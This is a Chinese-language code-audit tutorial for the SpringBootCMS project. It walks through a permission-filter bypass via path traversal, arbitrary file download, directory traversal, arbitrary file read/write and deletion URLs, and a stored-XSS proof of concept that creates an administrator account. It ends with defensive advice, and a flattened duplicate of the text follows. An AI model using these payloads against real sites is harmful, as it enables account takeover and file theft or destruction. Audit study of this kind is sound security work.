SpringBootCms代码审计过程记录
字数 1519 2025-08-24 16:48:15

SpringBootCMS代码审计教学文档

1. 环境搭建

  1. 使用git克隆项目:

    git clone [项目地址]
    
  2. 使用IntelliJ IDEA打开项目

  3. 修改数据库配置:

    • 修改resources/application.properties中的数据库配置为自己的配置
  4. 初始化数据库:

    • 运行springbootcms.sql文件初始化数据库
  5. 启动应用:

    • 运行App类启动应用

2. 项目依赖分析

查看pom.xml文件发现关键组件:

  • Fastjson > 1.2.78(存在已知漏洞)
  • MyBatis > 3.5.1
  • Ehcache > 2.0.4

3. 过滤器分析

系统存在三个过滤器:

  1. PageCacheFilter - 作用域:/*

    • 主要用于页面缓存
  2. PermissionFilter - 作用域:/admin/*

    • 权限相关过滤器
    • 使用startsWith判断请求URL是否以adminExcludes中的内容开头
    • 可绕过:使用admin/login/../../admin/xxx路径可绕过过滤
  3. UrlFilter - 作用域:/*

4. 漏洞分析

4.1 前台任意文件下载

路由/common/file/download

参数fileKey

漏洞原因

  • 未对fileKey参数做任何过滤
  • 直接拼接路径导致任意文件读取

验证

/common/file/download?fileKey=../../pom.xml

4.2 前台存储型XSS

路由/guestbook/save

漏洞原因

  • 获取用户输入后未做任何过滤
  • 直接写入数据库
  • 管理员查看留言时触发XSS

POC

<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', '/admin/admin/save');
var f = new FormData();
f.append('username', 'test');
f.append('password', '123');
f.append('rePassword', '123');
f.append('name', '');
f.append('roleIds', '1');
xhr.send(f);
</script>

利用场景

  • 通过XSS添加管理员账户
  • 留言有长度限制,需精简POC

4.3 多处越权漏洞

漏洞原因

  • 系统未做权限校验
  • PermissionFilter仅判断是否为演示账户权限

示例

  • 重置密码功能未校验权限
  • 可直接修改任意用户密码

验证

重置id=1的admin账户密码

4.4 目录遍历

路由/admin/template

参数directory

漏洞原因

  • 调用TemplateUtils.getTemplateFiles方法
  • 未对directory参数做过滤
  • 直接拼接路径并判断文件夹是否存在

验证

/admin/template?directory=default/java/com/cms/config

4.5 任意文件查看与代码写入

漏洞原因

  • 未对文件路径做过滤
  • 可结合目录遍历获取文件名后拼接路径
  • 可修改程序代码获取服务器权限

利用步骤

  1. 通过目录遍历获取文件名
  2. 拼接路径访问文件
  3. 修改文件写入自定义代码
  4. 等待服务器重启生效

4.6 任意文件删除(两种方式)

方式一

路由/admin/template/delete

参数

  • fileName
  • directory

漏洞原因

  • 未对参数做限制过滤
  • 直接拼接路径删除文件

验证

/admin/template/delete?fileName=2.txt&directory=../../Desktop/

方式二

路由/admin/database/delete

漏洞原因

  • 直接拼接路径进入删除逻辑

验证

/admin/database/delete?fileName=../../Desktop/2.txt

5. 总结与防御建议

发现漏洞总结

  1. 任意文件下载
  2. 存储型XSS
  3. 权限校验缺失
  4. 目录遍历
  5. 任意文件读写
  6. 任意文件删除

防御建议

  1. 文件操作:

    • 对用户输入的文件路径进行严格校验
    • 限制文件操作目录范围
    • 使用白名单校验文件类型
  2. XSS防御:

    • 对所有用户输入进行HTML实体编码
    • 设置CSP策略
    • 对输出到页面的内容进行转义
  3. 权限控制:

    • 实现完善的权限校验机制
    • 对敏感操作进行二次验证
    • 遵循最小权限原则
  4. 路径处理:

    • 规范化路径处理
    • 防止路径穿越攻击
    • 使用安全的文件操作API
  5. CSRF防御:

    • 添加CSRF Token
    • 检查Referer头
    • 对敏感操作使用POST请求

该CMS系统适合用于代码审计练习,包含多种常见漏洞类型,是学习Web安全的良好案例。

SpringBootCMS代码审计教学文档 1. 环境搭建 使用git克隆项目: 使用IntelliJ IDEA打开项目 修改数据库配置: 修改 resources/application.properties 中的数据库配置为自己的配置 初始化数据库: 运行 springbootcms.sql 文件初始化数据库 启动应用: 运行 App 类启动应用 2. 项目依赖分析 查看 pom.xml 文件发现关键组件: Fastjson > 1.2.78(存在已知漏洞) MyBatis > 3.5.1 Ehcache > 2.0.4 3. 过滤器分析 系统存在三个过滤器: PageCacheFilter - 作用域: /* 主要用于页面缓存 PermissionFilter - 作用域: /admin/* 权限相关过滤器 使用 startsWith 判断请求URL是否以 adminExcludes 中的内容开头 可绕过:使用 admin/login/../../admin/xxx 路径可绕过过滤 UrlFilter - 作用域: /* 4. 漏洞分析 4.1 前台任意文件下载 路由 : /common/file/download 参数 : fileKey 漏洞原因 : 未对 fileKey 参数做任何过滤 直接拼接路径导致任意文件读取 验证 : 4.2 前台存储型XSS 路由 : /guestbook/save 漏洞原因 : 获取用户输入后未做任何过滤 直接写入数据库 管理员查看留言时触发XSS POC : 利用场景 : 通过XSS添加管理员账户 留言有长度限制,需精简POC 4.3 多处越权漏洞 漏洞原因 : 系统未做权限校验 PermissionFilter 仅判断是否为演示账户权限 示例 : 重置密码功能未校验权限 可直接修改任意用户密码 验证 : 4.4 目录遍历 路由 : /admin/template 参数 : directory 漏洞原因 : 调用 TemplateUtils.getTemplateFiles 方法 未对 directory 参数做过滤 直接拼接路径并判断文件夹是否存在 验证 : 4.5 任意文件查看与代码写入 漏洞原因 : 未对文件路径做过滤 可结合目录遍历获取文件名后拼接路径 可修改程序代码获取服务器权限 利用步骤 : 通过目录遍历获取文件名 拼接路径访问文件 修改文件写入自定义代码 等待服务器重启生效 4.6 任意文件删除(两种方式) 方式一 路由 : /admin/template/delete 参数 : fileName directory 漏洞原因 : 未对参数做限制过滤 直接拼接路径删除文件 验证 : 方式二 路由 : /admin/database/delete 漏洞原因 : 直接拼接路径进入删除逻辑 验证 : 5. 总结与防御建议 发现漏洞总结 任意文件下载 存储型XSS 权限校验缺失 目录遍历 任意文件读写 任意文件删除 防御建议 文件操作: 对用户输入的文件路径进行严格校验 限制文件操作目录范围 使用白名单校验文件类型 XSS防御: 对所有用户输入进行HTML实体编码 设置CSP策略 对输出到页面的内容进行转义 权限控制: 实现完善的权限校验机制 对敏感操作进行二次验证 遵循最小权限原则 路径处理: 规范化路径处理 防止路径穿越攻击 使用安全的文件操作API CSRF防御: 添加CSRF Token 检查Referer头 对敏感操作使用POST请求 该CMS系统适合用于代码审计练习,包含多种常见漏洞类型,是学习Web安全的良好案例。